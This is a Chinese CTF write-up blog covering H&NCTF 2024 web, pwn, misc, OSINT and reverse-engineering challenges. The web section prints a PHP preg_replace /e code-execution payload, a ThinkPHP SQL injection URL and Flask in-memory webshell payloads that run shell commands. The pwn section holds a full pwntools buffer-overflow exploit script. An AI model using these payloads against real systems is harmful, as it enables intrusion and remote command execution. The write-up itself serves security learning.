# Web

# Please_RCE_Me

Screenshot 2024-05-12 131227.png

	GET传参输入?moran=flag,之后获取源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if($_GET['moran'] === 'flag'){
highlight_file(__FILE__);
if(isset($_POST['task'])&&isset($_POST['flag'])){
$str1 = $_POST['task'];
$str2 = $_POST['flag'];
if(preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |\.|include|require|flag/i',$str1) || strlen($str2) != 19 || preg_match('/please_give_me_flag/',$str2)){
die('hacker!');
}else{
preg_replace("/please_give_me_flag/ei",$_POST['task'],$_POST['flag']);
}
}
}else{
echo "moran want a flag.</br>(?moran=flag)";
}
	这个是RCE吗?

	审一审。成功找到了漏洞点,preg_replace("/please_give_me_flag/ei",![](https://www.yuque.com/api/services/graph/generate_redirect/latex?_POST%5B'task'%5D%2C#card=math&code=_POST%5B%27task%27%5D%2C&id=o3Kvv)_POST['flag']);可以看到,存在/e模式,再看看PHP版本,5.6.40,可能存在/e的命令执行漏洞。

	前面,需要绕的Waf第一个为:
1
preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |.|include|require|flag/i',$str1)
	这个绕过先放放,看看后面两个:

strlen(str2) != 19 || preg_match(’/please_give_me_flag/’,str2)

	因为都是逻辑或,所以得让他们都为False,刚好,please_give_me_flag 长度为19,第二个正则刚好是大小写敏感,所以大小写混合绕过。

	然后就是补充下关于/e模式的问题:

preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行

	最后尝试下phpinfo:
1
2
//POST传参
flag=Please_give_me_flag&task=phpinfo()

Screenshot 2024-05-12 132313.png

	成功打出组合拳。

	再回头看看第一个过滤,看上去几乎把所有的shell函数都过滤了。推测flag在根目录,那么学着使用无参数RCE的方式打这套组合拳,payload如下:

flag=Please_give_me_flag&task=chdir("/")|highlight_file(scandir(pos(localeconv()))[7])

最后得到 flag

Screenshot 2024-05-12 132839.png

# ez_tp(复现)

看起来像是 thinkphp 的题,不过,是非预期的题,用平常的 payload 一把梭怕是不对,所以,还能怎么搞?下在附件下来审审吧。
在附件 /ez_tp/App/Home/Controller 中存在 IndexController.class.php 文件,打开看看:
这应该是一个路由吧:

1
public function h_n()

路由应该是 h_n,那么,应该怎么打呢?不知道为啥,复现的时候日志找不到了,看 dalao 们的 wp 的时候,都说的是根据后台的日志有 payload,但是现在跑去找又找不到了。
继续往后面审计,发现了如下代码

1
$name = I('GET.name');

好,知道了需要通过 get 传参,还是 GET 传参。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$pattern = "insert|update|delete|and|or|\/\*|\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex";
$pattern.= "|file_put_contents|fwrite|curl|system|eval|assert";
$pattern.= "|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern.= "|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
$vpattern = explode("|", $pattern);
$bool = false;
foreach ($input as $k => $v) {
foreach ($vpattern as $value) {
foreach ($v as $kk => $vv) {
if (preg_match("/$value/i", $vv)) {
$bool = true;
break;
}
}
if ($bool) break;
}
if ($bool) break;
}
return $bool;

这里大概审一下就是,检测所有的键值对中,是否存在黑名单字段,所以,我们传入的参数键值对都不能出现黑名单字段,因此,文件包含和 RCE 没法打,再看看下面的这段代码:

1
2
3
4
5
6
if (waf()){
$this->index();
}else{
$ret = $User->field('username,age')->where(array('username'=>$name))->select();
echo var_export($ret, true);
}

猜测应该这儿应该有个 sql 注入存在,并且没有过滤 select,所以,根据 thinkphp 的以前的 payload,以及大佬的 wp 中说的日志中的信息,可以得知 payload 为:

1
/index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag

最后得到了 flag: array (0 => array ( ‘username’ => ‘1’, ‘age’ => ‘H&NCTF {Cjp_6c3114ee-23e1-459b-ad88-9b29ccfde934}’, ), )

# ezFlask(复现)

题目没出 flask,但是好在了解了一个新的 flask 的 ssti 的姿势,记录在这儿,不知道为啥,跟着 wp 复现,却还是失败了,先记录吧,之后再改。
首先,打开网页就给了个提示:

冒险即将开始!!! 请移步 / Adventure 路由进行命令执行,后端语句为: cmd = request.form [‘cmd’] eval (cmd) 注意,你仅有一次机会,在进行唯一一次成功的命令执行后生成 flag 并写入 /flag 执行无回显,目录没权限部分命令 ban,也不要想着写文件~

# 失败情况:

大概跟他提示的一样,就是一个命令执行,不过没思路,很可惜,看了下 wp,说的是写入内存马到一个路由里,但是我复现却失败了,不知是为何,他给的内存马的 payload 能成功写入,并且能访问到写入的路由,但是,却会报 500 错误,不知是为何,等官方 wp 出了再看看是为啥吧,payload 先写在下面。

1
cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}")

# 成功情况:

找到了另一个 payload,同样是内存马,payload 如下:

1
cmd=app.add_url_rule('/test','test',lambda:__import__('os').popen(request.args.get('cmd')).read())

之后访问 /test?cmd=cat+/flag 成功出 flag:flag {42ae8a8b-4f88-4c45-a162-bd1881da16ea}。

# Pwn:

# close

	逆天题目,纯牛马出题人,想暴打。

	拿到题目第一件事儿是检查保护,这个题保护也就那样,PIE加NX。
1
2
3
4
5
6
7
root@g01den-virtual-machine:/mnt/shared# checksec pwn
[*] '/mnt/shared/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
	反编译看看:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __fastcall main(int argc, const char **argv, const char **envp)
{
puts("**********************************");
puts("* Welcome to the H&NCTF! *");
puts("**********************************");
puts("* ***** *");
puts("* * * *");
puts("* * o o * *");
puts("* * v * *");
puts("* * * * * *");
puts("* * * * * * * * *");
puts("**********************************");
puts("* Do you know close? *");
puts("**********************************");
close(1);
system("/bin/sh");
return 0;
}
	这题目什么玩意儿?关闭了标准输出流还玩儿毛线?

	算了,老老实实干就完了。经过长时间查找资料,最后找到了做法。
1
2
3
4
5
6
root@g01den-virtual-machine:/mnt/shared# nc hnctf.imxbt.cn 35345
ls
ls: write error: Bad file descriptor
exec 1>&0
cat flag
H-NCTF{8d409dad-4b2f-4687-9f17-8b450a76946c}
	心中暗暗暴打出题人两分钟泄愤。    (* ̄︿ ̄)

# ez_pwn(复现,exp 是大佬的,有时间自己再写个 exp)

看到这个题,我突然觉得我是个执杖,我还以为是出题人故意搞我心态,结果是我学艺不精的缘故,好吧,我的问题,没看出来,我摊牌了,我是个 XX。
好吧,老样子,Ubuntu 启动!!!
还是先查看保护:

1
2
3
4
5
6
7
root@g01den-virtual-machine:/mnt/shared# checksec pwn
[*] '/mnt/shared/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

然后 IDA 反编译,漏洞函数为:

1
2
3
4
5
6
7
8
9
10
int vul()
{
char s[40]; // [esp+0h] [ebp-2Ch] BYREF

memset(s, 0, 0x20u);
read(0, s, 0x30u);
printf("Hello, %s\n", s);
read(0, s, 0x30u);
return printf("Hello, %s\n", s);
}

发现了点东西,就是,这里存在一些问题,就是,read 函数读取的数据为 48 字节,但是,经过动态调试得出的缓冲区 s 的大小为 44 字节,好好好,IDA 你又得记大过了。
之后,第一次不需要溢出,将缓冲区全部写满即可,因为存在 % s 这个格式串配合 printf 函数,所以,能够直接把 rbp 的值给打印出来,所以只需要接收之后,就可以拿到 rbp 的值了,然后,通过动态调试得到的 rbp 的地址与缓冲区 buf 的地址,就可以拿到字符串的地址了。
Screenshot 2024-05-14 234816.png
Screenshot 2024-05-14 234826.png
接收到了 rbp 的值之后,减去 56 就可以得到字符串的地址了。
之后则是需要通过栈调用 read 函数,向 bss 段写入 sh;(这里我没弄懂为啥不能直接传 /bin/sh,而是要传 sh; 进去),之后重新调用 main 函数重新运行程序,不过,到了这里之后会出一点问题,那就是,第二次进入 main 之后,栈的布局会发生变化,重新进入 vul 函数之后,里面的指针指向的是 vul 函数内的字符串,而不是之前那个,所以这里需要重新进行一次字符串地址的泄露,之后才能对栈进行布局来调用 system 函数。
大佬的 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "hnctf.yuanshen.life"
PORT = 33070

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

ru("Welcome to H&NCTF, my friend. What's your name?")

payload = "A" * 0x2c
s(payload)
ru(payload)

leak = u32(r(4))
buf_addr = leak - (0xfff93748 - 0xfff93710)
success(f"buf_addr ->{hex(buf_addr)}")

read = elf.plt['read']
vuln = 0x08048639
bss = 0x804a000
system = 0x0804857D

payload = p32(read) + p32(vuln) + p32(0) + p32(bss) + p32(0x4)
payload = payload.ljust(0x2c,b'a') + p32(buf_addr - 4)
s(payload)


time.sleep(0.3)
# g(p)
s(b'sh;\0')

ru("Welcome to H&NCTF, my friend. What's your name?")
payload = "A" * 0x4
s(payload)
ru(payload)

buf_addr = buf_addr
success(hex(buf_addr))


buf_addr = buf_addr - (0xffb45f80 - 0xffb45f4c)


payload = p32(system) + p32(bss) + p32(bss)
payload = payload.ljust(0x2c,b'a') + p32(buf_addr - 4)

# g(p)
s(payload)

p.interactive()

最后得到 flag:

1
H&NCTF{06b0540d-df19-4b49-9e63-fb7b8b67f8f9}

# Misc:

# ManCraft - 娱乐题:

	一个我的世界的服务器,下载1.20.4版本之后进入服务器,根据提示,先绑定队伍的token,之后迅速发育,然后勾引金甲僵尸,也就是劳大,把它勾引到陷阱里杀死,然后就能够拿到一个key,之后用这个key就能拿到flag。

Screenshot 2024-05-12 155018.pngScreenshot 2024-05-12 155005.png

# osint(复现):

onist.png
onist.png
溯源的题,一张图片,光是图片来看,似乎只有两种可能,起飞或者降落,又因为题目要求我们输入目的地,所以,如果是难度不高的话,这儿应该是目的地。
检查图片属性,发现这张照片最后依次的修改时间是 4 月 23 日下午 3 点多,这张照片很明显是晚上拍摄的,所以,照例来说,这张图应该是在之前的晚上拍摄的,所以,先从 4 月 22 日晚上到 23 日凌晨的航班来看。
另外,根据机翼上红色的那个红色的图,在网上找到了应该是海南航空的飞机,且左边数字,有个 22,大概推测注册号是 X-22XX,左边的字母,好像是根据国家不同定的,中国的是 B。
之后,搜索注册号为 B-22,能够知道有几个:
Screenshot 2024-05-14 230753.png
之后,通过搜索 4 月 22 日晚上到 4 月 23 日凌晨那段时间的海南航空的飞机,大致可以得到航班号为 HU7006。
拿到了航班之后,通过航班和时间搜索,能搜到起始地和目的地,目的地是海口美兰国际机场。
最后,感觉运气使然,在机场附近遇到个有点眼熟的路的弧度,抱着试一试的想法,把地址写上去,结果正确了:
Screenshot 2024-05-14 231654.png
最后 flag:

1
H-NCTF{ae53219d0966}

# Re

# 最喜欢的逆向题

签到题
v1=a1 [5]=105
64 位
image.png
image.png

# image.png

# hnwna

image.png
一个 CSharp 写的小游戏
方法一:
用 ILSPY 打开下面的文件
image.png
搜索找到关键函数了(一开始搜索区域不对,导致找不到关键函数)
image.png

函数 a 为凯撒,if 判断那里移位为 5
image.png
加密

image.png
方法二:dnspy,类似于破解

# DO YOU KNOW SWDD?(wait)

32 位打开 ida,出现 SMC。
image.png
动态调试
image.png
在导入表中有 virtualprotect 函数,这里对内存权限进行了修改,大概率是 SMC。
image.png
看 41127B 函数 (断点位置下错了,照着 wp 都能错,服了)

image.png
看 4113D9
image.png
image.png
p 然后 f5
image.png
可知是凯撒移位 10 位
image.png

# childmaze

image.png
迷宫问题
方法一:静态分析
找到关键数据部分(不易找到),交叉引用

1
2
3
4
s = "H'L@PC}Ci625`hG2]3bZK4{1~"

for i in range(len(s)):
print(chr(ord(s[i]) ^ (i % 7)), end="")

方法二:调试
在判断跳转的时候下个断点修改 zf 标识符或者改为 jnz 都能实现直接输出 flag
emmIDA 版本问题吧,识别不出 rust。。。。

更新于

请我喝[茶]~( ̄▽ ̄)~*

g01den 微信支付

微信支付

g01den 支付宝

支付宝

g01den 贝宝

贝宝